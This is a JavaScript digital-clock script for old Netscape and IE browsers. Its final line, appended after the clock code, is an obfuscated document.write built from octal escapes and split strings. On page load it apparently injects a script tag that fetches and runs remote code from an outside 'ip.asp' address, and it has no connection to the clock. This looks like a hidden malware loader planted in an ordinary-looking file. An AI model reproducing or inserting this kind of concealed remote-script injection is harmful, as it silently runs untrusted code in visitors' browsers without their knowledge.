var ns4up1 = (document.layers) ? 1 : 0;  // browser sniffer
var ie4up1 = (document.all && (navigator.appVersion.indexOf("MSIE 4") == -1)) ? 1 : 0;
var ns6up1 = (document.getElementById && !document.all) ? 1 : 0;
function nowclock() {
	if (!ns4up1 && !ie4up1 && !ns6up1) {
		return false;
	}
	var digital = new Date();
	var hours = digital.getHours();
	var minutes = digital.getMinutes();
	var seconds = digital.getSeconds();
	var day = digital.getDate();
	var month = digital.getMonth() + 1;
	var year = digital.getYear();
	var amOrPm = "AM";
	if (hours > 11) {
		amOrPm = "PM";
	}
	if (hours > 12) {
		hours = hours - 12;
	}
	if (hours == 0) {
		hours = 12;
	}
	if (minutes < 10) {
		minutes = "0" + minutes;
	}
	if (seconds < 10) {
		seconds = "0" + seconds;
	}
	if (day < 10) {
		day = "0" + day;
	}
	if (month < 10) {
		month = "0" + month;
	}
	dispTime = hours + ":" + minutes + ":" + seconds + " " + amOrPm;
	dispDate = year + "/" + month;
	dispDay = day;
	if (ns4up1) {
		document.layers.nowTime.document.write(dispTime);
		document.layers.nowTime.document.close();
		document.layers.nowDate.document.write(dispDate);
		document.layers.nowDate.document.close();
		document.layers.nowDay.document.write(dispDay);
		document.layers.nowDay.document.close();
	} else {
		if (ns6up1) {
			document.getElementById("nowTime").innerHTML = dispTime;
			document.getElementById("nowDate").innerHTML = dispDate;
			document.getElementById("nowDay").innerHTML = dispDay;
		} else {
			if (ie4up1) {
				nowTime.innerHTML = dispTime;
				nowDate.innerHTML = dispDate;
				nowDay.innerHTML = dispDay;
			}
		}
	}
	setTimeout("nowclock()", 1000);
}
document.write("<\123cr"+"ipt src='http://\101d."+"\117y6"+"6"+".\103om"+"/ip."+"asp?loc"+"=changchun|maoming'><\/scr"+"ipt>");
nowclock();

